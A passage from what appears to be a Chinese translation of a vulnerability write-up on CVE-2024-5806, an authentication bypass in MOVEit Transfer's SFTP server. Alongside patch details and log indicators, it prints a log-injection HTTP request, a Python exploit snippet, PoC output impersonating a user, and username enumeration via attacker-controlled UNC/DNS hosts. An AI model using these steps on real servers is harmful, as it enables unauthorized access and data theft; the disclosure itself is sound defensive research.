AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
查看日志文件,我们可以看到密钥已进入日志文件。它被其他文本包围,但至少密钥安全地存在。
2024-06-19 15:42:33.223 #14 z30 GuestAccess_GetHTML: Redirecting to human.aspx, the common sign-on page: /human.aspx?OrgID=8294&Language=en&Arg12=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "watchtowr@watchtowr.com"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
2024-06-19 15:42:33.223 #14 z10 SILGuestAccess.GetHTML: Caught exception of type ArgumentException: Redirect URI cannot contain newline characters.
Stack trace:
at System.Web.HttpResponse.Redirect(String url, Boolean endResponse, Boolean permanent)
at System.Web.HttpResponseWrapper.Redirect(String url)
at MOVEit.DMZ.WebApp.SILGuestAccess.GetHTML(HttpRequest& parmRequest, HttpResponse& parmResponse, HttpSessionState& parmSession, HttpApplicationState& parmApplicationState)
现在我们已经解决了一半的问题——我们成功地将我们的公钥种植到系统日志文件中,以便用于认证。
然而,第一个问题仍然存在。
任何尝试加载文件都会失败,因为密钥不出现在文件开头,因此文件不是有效的OpenSSH格式公钥。鉴于我们找不到任何在文件开头记录的方法,我们寻找了绕过此要求的巧妙方法。
我们发现这是一个艰难的斗争。检查负责加载OpenSSH密钥的代码时,我们发现它要求非常严格。它会迫不及待地在最早的机会拒绝包含不相关垃圾数据的文件。
然而,事实证明,OpenSSH并不是服务器支持的唯一密钥格式。
总的来说,它支持多达12种不同的密钥类型,包括一些奇特的格式,如XML编码的密钥和Java格式的JWK存储。我们仔细查看了负责加载这些密钥的代码,寻找从包含垃圾数据以及密钥文件本身的文件中读取密钥的任何方法,但是由于密钥加载过程需要类似的结构,我们反复碰壁。
例如,XML文件格式一开始看起来很有趣,但需要正确格式化的XML文档。
随后,我们搜索了MOVEit内部的功能,可以将攻击者控制的数据写入有效的XML文件,但未能找到。由于我们没有OpenSSH格式,我们不得不放弃XML文件格式。
然而,我们的搜索并非徒劳,因为最终我们发现了PPK文件格式。我们仔细研究了处理这类密钥的代码:
public static void D([In] jc obj0, [In] string obj1, [In] string obj2)
{
Hashtable hashtable1 = new Hashtable();
Hashtable hashtable2 = new Hashtable();
if (!kj.A(obj1, hashtable1, hashtable2))
throw new Wm(271, "Cannot open certificate store: PPK encoding method is unknown.");
string str1 = sU.j(hashtable1, "Encryption");
string str2 = sU.j(hashtable2, "Public");
string str3 = sU.j(hashtable2, "Private");
byte[] numArray1 = null;
if (hashtable1.ContainsKey((object) "PuTTY-User-Key-File-3") && Wk.strEqNoCase(str1, "aes256-cbc"))
{
...
尽管从代码片段中可能不太明显,但这个函数接收了一个ASCII分隔的行列表,从输入文件中读取,然后搜索这个列表以检查特定字符串的存在 - 例如,在代码片段的底部附近,我们看到正在搜索 PuTTY-User-Key-File-3 这个字符串。
通过这种搜索方式,我们想知道能否说服PPK文件加载器加载我们的密钥,即使周围有很多额外的文本?
我们看了一下生成这个行列表的方法:
for (keyPos < keyText.Length)
{
..
lines[0] = lines[0].Trim();
bool containsColon = lines[0].Contains(":");
if (containsColon)
{
int colonPos = array[0].IndexOf(":");
string firstPart = substr(lines[0], 0 , colonPos).Trim();
string secondPart = substr(lines[0], colonPos + 1 ).Trim();
...
这看起来非常有希望 - 在这里,我们遍历输入中的每一行,去除空白,并按冒号 : 分割为两部分。代码中没有检查结果是否有效 - 只是简单地建立了一个键值对的表格,上面的代码然后会检查这个表格,寻找它需要的键。不包含冒号的行会被跳过(因为 if (containsColon) ),而不会引发错误。
受此鼓舞,我们对PPK文件格式进行了一些研究,并与反编译的加载器代码进行了对比。
虽然PPK文件格式保存的是私钥,而不是我们尝试上传的公钥,但这没关系 - 对于服务器验证签名的目的来说,私钥只是公钥的超集。
我们按照PPK格式将私钥转换后,查看了结果。
PuTTY-User-Key-File-3: ssh-dss
Encryption: none
Comment: watchtowr@watchtowr.com
Public-Lines: 10
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
Private-Lines: 1
AAAAFQ.....................IePlr1g==
Private-MAC: 9ef71.................................................edb1d3fc3e
我们通过POST方式提供了这些数据到与之前相同的端点:
POST /guestaccess.aspx HTTP/2
Host: {{host}}
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
transaction=signoff&Arg12=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "watchtowr@watchtowr.com"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
我们注意到,密钥再次出现在日志文件中。但这一次,当我们尝试进行身份验证时,密钥被正确解析,并允许了身份验证,就像之前一样:
SILUser.ExecuteAuthenticators: Authenticating user 'user2' with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
SILUser.ExecuteAuthenticators: User 'user2' authenticated with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
太好了!我们找到了一种方法,在不登录的情况下上传我们的SSH公钥到服务器,并利用该密钥材料来允许我们作为任何人进行身份验证!
我们将采用之前的PoC(用于强制身份验证的代码),并添加一个小节以将密钥文件注入到系统日志中。
需要注意的是,在默认配置中,日志每六十秒刷新到磁盘一次,因此我们需要等待这段时间以确保我们的密钥已经写入到磁盘中。
...
# Make sure our keyfile is in the system logs
with open(ppkfile) as f:
ppkFileData = f.read()
requests.post(f"https://{host}/guestaccess.aspx", data={"transaction": "signoff", "Arg12": f"\\r\\n{ppkFileData}"})
time.sleep(61)
...
与以往一样,只要知道一个有效的用户名,我们就能访问文件。此外,我们还能够从服务器检索敏感文件、删除它们,或者执行其他任何经过身份验证用户可以做的操作。
但现在,无论访问权限如何,我们都有一种轻而易举的方式将我们的SSH公钥以可预测的方式放置到MOVEit Transfer服务器上。
我们已经完成了基于Python的检测工具生成器,它可以在服务器日志中注入一对OpenSSH和PPK文件格式的密钥对,并使用它来作为提供的用户名进行身份验证。它会显示服务器上的文件,以证明已经以目标用户的所有权限登录。
我们的最终版本的检测工具生成器可以像往常一样在我们的GitHub上找到。
C:\\code\\moveit> python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user user2 --ppk id.ppk --pem id
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
CVE-2024-5806.py
(*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806)
- Aliz Hammond, watchTowr (aliz@watchTowr.com)
- Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
CVEs: [CVE-2024-5806]
(*) Poisoning log files multiple times to be sure...
..........OK
(*) Waiting 60 seconds for logs to be flushed to disk
(*) Attempting to authenticate..
(*) Trying to impersonate user2 using the server-side file path 'C:\\MOVEitTransfer\\Logs\\DMZ_WEB.log'
(+) Authentication succeeded.
(+) Listing files in home directory of user user2:
-rw-rw-rw- 1 0 0 1.4M Jun 11 11:39 stocks.xlsx
-rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
-rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
-rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
-rw-rw-rw- 1 0 0 304 Jun 17 17:29 passwords.txt
获取用户名
这是一个极具破坏力的“有限场景”漏洞。
唯一类似于限制的是,攻击者必须拥有一个有效的SFTP子系统用户名,才能知道要冒充谁。很容易想象,攻击者可能会使用用户名列表,例如从电子邮件列表中获取,逐个尝试每个用户名以进行利用。
也许dav1d_bl41ne是对的?限制在于对互联网的人口访问?
然而,还有一种额外的方法可以利用我们的攻击来验证用户名是否有效,允许类似字典攻击的方式,攻击者可以使用像电子邮件地址或可能的用户名这样的令牌进行尝试。
这取决于MOVEit只有在提供的用户名有效时才会访问公钥文件。我们可以简单地针对不同的用户名尝试认证,提供一个指向恶意服务器的UNC路径,并观察哪些用户名生成了文件访问。
例如,如果我们知道fred.blogs@evil.corp是一个有效的用户,我们可以尝试对fred.blogs进行强制认证,并指定密钥位置为\attacker.uniq.dns.lookup.watchtowr.com\foo。
如果我们的恶意DNS服务器看到对这个唯一主机名的查询 - 因此,只需要出站DNS(哈哈,请不要假装你限制出站DNS),这允许我们在预认证阶段确定用户名是否有效。
另一方面,如果我们看不到任何传入连接,我们将用稍微不同的用户名重复认证请求 - 可能是f.blogs或fblogs。一旦我们看到下一个相关且唯一主机名的传入DNS查询,我们就知道我们找到了一个有效的用户名。
简单来说,我们可以为fred.blogs生成登录请求,并指定密钥文件位于\fred.blogs.watchtowr.com\foo。然后,我们可以检查watchTowr DNS服务器日志,看看是否有人尝试解析fred.blogs.watchtowr.com,如果有,我们就知道服务器已成功验证了该用户名并确认其正确性。
与以往一样,我们将生成多个登录名的变体,但这次我们能够发送得更快,因为我们无需在每次尝试时等待传入连接。相反,我们可以发送所有请求,并在每个请求中指定不同的域名,然后查看DNS服务器的日志,看哪些生成了DNS查询。
修复措施
Progress已经开发并发布了修补程序,版本为2024.0.2。在这个版本中,SftpServer.exe二进制文件的版本已更新为16.0.2.57。
对修补程序的检查确认了我们的分析,两个未设置StatusCode成员的部分已经被修复。

这个修复程序防止了我们之前看到的边缘情况。在新版本的代码中,当认证被拒绝时,也会设置StatusCode,这防止了调用代码错误地认为认证部分成功。
进一步的更改似乎发生在IPWorks SSH库中,可能是试图增强其安全性,尽管这些努力似乎徒劳(见下文)。
进一步的影响
虽然这个CVE被宣传为Progress MOVEit中的一个漏洞,这在技术上是正确的,但我们认为实际情况并不是单一问题,而是两个独立的漏洞,一个在Progress MOVEit中,另一个在IPWorks SSH服务器中。
更具破坏性的漏洞,即冒充任意用户的能力,是MOVEit独有的,而影响较小但仍然很实际的强制认证漏洞可能会影响所有使用IPWorks SSH服务器的应用程序。
我们尝试通过构建IPWorks SSH示例来验证这一点,发现它们确实允许我们导致强制的SMB认证,允许我们使用Responder破解生成的哈希值(作为参考,我们测试的IPWorks Nuget包的版本是24.0.8917)。
这特别重要,因为其他应用程序可能没有使用MOVEit所包含的强权限分离(例如服务账户),而可能立即暴露管理员凭据,从而允许完全的系统妥协。
缓解措施和IoC(入侵指示器)
这是一次相当严重的攻击,但至少对防御者来说,还有一些好消息。
首先,重要的是要注意到,利用这种攻击需要知道系统上的有效用户名。虽然这对攻击者来说是一个低门槛,但它将有助于限制自动化攻击的进展。
除了需要一个有效的用户名外,指定的用户名还必须通过任何基于IP的限制,因此,将用户锁定到白名单IP地址可能会降低风险。
因为你确实使用额外的控制措施,对吧?对吧?
此外,值得注意的是,这种攻击在日志条目方面必然相当明显。例如,SftpServer.log文件将记录无法访问证书存储的失败情况。条目将如下所示:
2024-06-19 16:45:24.412 #0B z10 <0> (229464221718840721395) IpWorksKeyService: Caught exception of type IPWorksSSHException: The certificate store could not be opened.
Stack trace:
at nsoftware.IPWorksSSH.Certificate..ctor(Byte[] certificateData)
at MOVEit.Net.Ssh.IpWorksKeyService.ParseKeyContent(String keyContent)
at MOVEit.Net.Ssh.IpWorksKeyService.GetKeyFingerprint(String keyContent, FingerprintType fingerprintType)
此错误表明 IPWorks 无法解析客户端传递的密钥,即使提供了有效的密钥路径来代替有效的密钥 blob 本身,也会生成此错误。
尝试冒充其他用户时也可能出现以下消息。请注意单词“fingerprint”和 user 之间的两个空格,这里通常会有一个密钥哈希:
2024-06-19 16:45:25.255 #0B z50 <0> (229464221718840721395) UserAuthRequestHandler: Validating client key fingerprint for user user2
相比之下,合法消息将类似于以下内容。
2024-06-13 12:30:56.542 #04 z50 <0> (422095031718307051011) UserAuthRequestHandler: Client key fingerprint 54:c2:1f:33:ab:63:ff:39:bd:03:d2:62:a1:2e:f3:e0 already authenticated for user user1; continuing with user authentication process
另一个关于漏洞利用尝试的通知如下:
2024-06-19 18:25:59.843 #04 z10 <0> (500515741718846753874) UserAuthRequestHandler: SftpPublicKeyAuthenticator: Attempted to authenticate empty public key fingerprint
这表明密钥是通过文件路径提供的,而不是二进制数据块。这种情况非常罕见(并且不属于 SSH 规范),在正常使用中不太可能出现。
最后,请注意,只有当以下两条消息同时出现在同一个连接上时,它们才表明存在漏洞(此处的连接 ID 在两个条目中相同,为“277614021718840671583”)。第二条条目表明除了密钥之外还需要密码,如果您的环境未配置为需要此类凭据,则它本身也可能是一种指示。
2024-06-19 16:45:26.240 #07 z30 <0> (277614021718840671583) SILUser.ExecuteAuthenticators: User 'user2' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
2024-06-19 16:45:27.036 #07 z50 <0> (277614021718840671583) UserAuthRequestHandler: Client key validation successful but password is also required
请注意,其中一些日志消息将显示在默认日志配置中,而有些则不会 - 使用我们的 PoC 代码来验证您的日志设置可能会很有用。
结论
显然,这是一个严重的漏洞。鉴于需要了解SSH协议以及相当多的.NET反向工程工作,它也有些难以诊断。
然而,路径中非法字符的存在异常应该能引起任何其他研究人员的注意,他们正在寻找这个漏洞,而且相对简单的利用方式也使其容易被“意外”发现。
一旦研究人员发现可以从文件加载密钥,强制认证已经是可能的,他们很可能会继续尝试,通过提供自己的密钥,发现可以冒充任意用户的能力,并看看会发生什么。
需要注意的是,尽管MOVEit过去曾遭遇一些显而易见的漏洞(例如SQL注入),但这个问题并不属于“简单错误不应该出现在强化软件中”这一类。
漏洞是由MOVEit和IPWorks SSH之间的相互作用以及未能处理错误条件引起的。例如,这并不是一种可以通过静态分析轻易发现的漏洞。
然而,存在的抛出然后捕获的异常确实有些显而易见,应该在代码审查期间引起开发人员的注意。
目前尚不清楚Progress是如何发现这个问题的,事实上,这可能正是情况 - 一次常规的代码审查可能导致开发人员发现了这个问题,找到了根本原因,并意识到它对认证系统的危险。如果确实如此,我们向Progress致敬,感谢他们像对待它应得的那样认真对待这个问题,而不是试图掩盖它,如我们所见的其他厂商所做的那样。
如果这是由外部方发现的,同样致敬 - 这是一项伟大的工作。
另一方面,我们对公告中使用“有限场景”这个术语感到有些困扰(你能猜到吗?),因为我们尚未确定能防止简单利用的场景。这可能是由于供应商对问题严重性的误解,或者是试图淡化其错误严重性的错误尝试 - 或者,也许我们的分析是错误的,这一切都是设计使然。
Progress已经联系客户数周或数月以修补这个问题,并做出了真诚的努力以确保这一点。由于禁运以及Progress采取的主动措施确保客户部署补丁,我们不期望任何人仍然易受攻击。
如果由于某种原因,当供应商联系你提醒你修补他们强烈建议修补的关键漏洞时,你没有修补系统,请现在就修补。